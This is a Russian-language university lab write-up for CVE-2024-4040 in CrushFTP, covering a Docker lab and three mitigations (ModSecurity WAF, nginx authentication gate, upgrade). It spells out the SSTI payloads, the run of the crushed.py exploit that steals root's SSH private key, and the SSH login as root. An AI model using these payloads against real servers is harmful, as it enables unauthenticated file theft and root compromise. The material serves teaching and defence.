
Доказательство концепции эксплуатации CVE-2024-4040, демонстрирующее неаутентифицированную SSTI и чтение локальных файлов в CrushFTP, с Docker-лабораторией и стратегиями смягчения последствий.
Только для образовательных целей и авторизованных лабораторных работ.
Для модуля CS443 «Безопасность программного обеспечения и систем». Лабораторная работа выполнялась в контролируемой локальной среде Docker.
| Поле | Детали |
|---|
| CVE | CVE-2024-4040 |
| Затронутое ПО | CrushFTP < 10.7.1 (ветка v10) / < 11.1.0 (ветка v11) |
| Тип уязвимости | Server-Side Template Injection (SSTI) → Неаутентифицированное чтение локальных файлов |
| Оценка CVSS | 9.8 Критическая |
| Воздействие | Неаутентифицированные злоумышленники могут читать произвольные файлы из файловой системы сервера |
WebInterface в CrushFTP вычисляет шаблонные выражения в параметре path команды zip без санитизации. Неаутентифицированный злоумышленник может получить анонимные файлы cookie сессии, а затем использовать их для передачи шаблонных payload-ов ({working_dir}, <INCLUDE>…</INCLUDE>), которые сервер вычисляет и возвращает, — что позволяет читать произвольные файлы на хосте.
| Компонент | Значение |
|---|---|
| Цель | http://localhost:8080 |
| Базовая версия CrushFTP для PoC | 10.3.0 (намеренно уязвимая) |
| Тестовая среда меры 3 | Отдельный контейнер с CrushFTP 11.x (исправленная ветка) |
| SSH-порт (контейнер) | 2222 → 22 |
| Учётные данные администратора | admin / admin |
| Среда выполнения контейнера | Docker (Compose) |
pip install requests rich
| Скрипт | Источник | Назначение |
|---|---|---|
crushed.py | Stuub/CVE-2024-4040-SSTI-LFI-PoC | Полный эксплойт SSTI/LFI — похищение сессии, чтение произвольных файлов |
recon.py | Этот репозиторий | Определение версии, живая SSTI-проверка, подтверждение уязвимости |
docker-compose up -d
Подождите ~10 секунд, чтобы CrushFTP полностью инициализировался, прежде чем запускать скрипты.
Отдельный этап разведки здесь не требуется, поскольку crushed.py уже проверяет возможность эксплуатации во время выполнения.
python crushed.py -t http://localhost:8080 -l /root/.ssh/id_rsa
Скрипт выполнит следующие действия:
CrushAuth / currentAuth из /WebInterface/{working_dir} для определения каталога установки CrushFTP<INCLUDE>/root/.ssh/id_rsa</INCLUDE> для чтения целевого файлаСкопируйте блок закрытого ключа из вывода (всё от -----BEGIN OPENSSH PRIVATE KEY----- до -----END OPENSSH PRIVATE KEY-----).
cat > stolen_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
<paste key from output>
-----END OPENSSH PRIVATE KEY-----
EOF
chmod 600 stolen_id_rsa
ssh -i stolen_id_rsa root@localhost -p 2222 -o StrictHostKeyChecking=no
whoami
# Expected: root
id
# Expected: uid=0(root) gid=0(root) groups=0(root)
hostname
# Expected: <container_id>
Unauthenticated attacker
│
▼
GET /WebInterface/ ← obtains anonymous CrushAuth + currentAuth cookies
│
▼
POST /WebInterface/function/
?command=zip
&path={hostname} ← SSTI confirmed — template evaluated by server
│
▼
POST /WebInterface/function/
?command=zip
&path={working_dir} ← leaks absolute installation path
│
▼
POST /WebInterface/function/
?command=zip
&path=<INCLUDE>/root/.ssh/id_rsa</INCLUDE> ← arbitrary file read
│
▼
SSH -i stolen_id_rsa root@localhost -p 2222 ← full root shell
| Проблема | Место | Подробности |
|---|---|---|
| Отсутствующая зависимость | Строки 6–9 | Требуется pip install rich перед запуском |
| Хрупкий разбор XML | Строки 86, 140 | Завершается ошибкой при не-XML ответах сервера; нет обработки ParseError |
| Слишком строгое регулярное выражение для токена | Строки 160–161 | Шаблон CrushAuth=…; currentAuth=… может не соответствовать всем форматам sessions.obj |
| Только HTTP 404 | Строка 53 | Захват cookie срабатывает только при 404; при других кодах статуса молча пропускается |
WAF действует как обратный прокси-сервер, который проверяет входящий HTTP/S-трафик до того, как он достигнет CrushFTP. С помощью NGINX с ModSecurity вредоносные запросы, эксплуатирующие CVE-2024-4040, блокируются на сетевой границе без изменения самого CrushFTP.
../, %2e%2e) в URI запросов и cookieИспользуйте Mitigation 1/docker-compose.yaml:
services:
crushftp:
build: .
expose:
- "8080"
ports:
- "2222:22"
nginx:
image: nginx:latest
ports:
- "8080:80"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf
depends_on:
- crushftp
Используйте Mitigation 1/nginx.conf:
worker_processes 1;
events {
worker_connections 1024;
}
http {
# Enable ModSecurity
modsecurity on;
modsecurity_rules_file /etc/modsecurity.d/setup.conf;
upstream crushftp {
server crushftp:8080;
}
server {
listen 80;
server_name localhost;
# Proxy all traffic to CrushFTP
location / {
proxy_pass http://crushftp;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
# Return 403 for blocked requests
error_page 403 /403.html;
location = /403.html {
return 403 '{"error": "Request blocked by WAF"}';
}
}
}
Attacker -> NGINX WAF (port 80) -> blocks malicious -> 403 Forbidden
-> forwards clean -> CrushFTP:8080
CVE-2024-4040 эксплуатируется без аутентификации. В этой лабораторной среде доступ анонимного типа блокируется на уровне NGINX путём требования заголовка Authorization перед проксированием чувствительных маршрутов к CrushFTP.
crushed.py, полагаются на неаутентифицированный доступ; запросы без учётных данных отклоняются с кодом 401/WebInterface/ и / отклоняются, если данные аутентификации отсутствуютservices:
crushftp:
build: .
expose:
- "8080"
ports:
- "2222:22"
nginx:
image: nginx:latest
ports:
- "8080:80"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf
depends_on:
- crushftp
events {}
http {
server {
listen 80;
# Allow static assets unauthenticated
location ~* \.(css|js|png|jpg|ico|gif)$ {
proxy_pass http://crushftp:8080;
proxy_set_header Host $host;
}
# Block unauthenticated access to WebInterface
location /WebInterface/ {
if ($http_authorization = "") {
return 401 "Authentication Required - Anonymous sessions disabled";
}
proxy_pass http://crushftp:8080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Authorization $http_authorization;
}
# Block everything else unauthenticated
location / {
if ($http_authorization = "") {
return 401 "Authentication Required";
}
proxy_pass http://crushftp:8080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
}
# Confirm unauthenticated request is rejected by NGINX
curl -v http://localhost:8080/WebInterface/function/?command=getUsername
# Expected: 401 Unauthorized
# Optional: authenticated request should be forwarded
curl -v -u "admin:admin" http://localhost:8080/WebInterface/function/?command=getUsername
Обновление до CrushFTP 11 — наиболее эффективное и постоянное исправление. Патч добавляет строгую проверку входных данных при разрешении путей VFS, устраняя корневую причину CVE-2024-4040.
crushed.py, больше не работают против версии 11Обновите ваш Dockerfile, чтобы использовать CrushFTP 11:
FROM eclipse-temurin:21-jdk-jammy
WORKDIR /var/opt
RUN apt-get update -y && apt-get -y install unzip wget openssh-server
COPY CrushFTP11.zip .
RUN unzip CrushFTP11.zip
EXPOSE 21
EXPOSE 8080
EXPOSE 443
EXPOSE 22
WORKDIR /var/opt/CrushFTP11
RUN java -Xmx1024m -jar CrushFTP.jar -a "admin" "admin"
CMD service ssh start && java -Xmx1024m -jar CrushFTP.jar -d
Пересоберите контейнер:
docker-compose down --rmi all
docker-compose build --no-cache
docker-compose up -d
# Run the exploit against v11 - should fail
# Note: this repository's script uses -t/--target.
python3 crushed.py -t http://localhost:8080
# Expected: exploit returns no output or connection error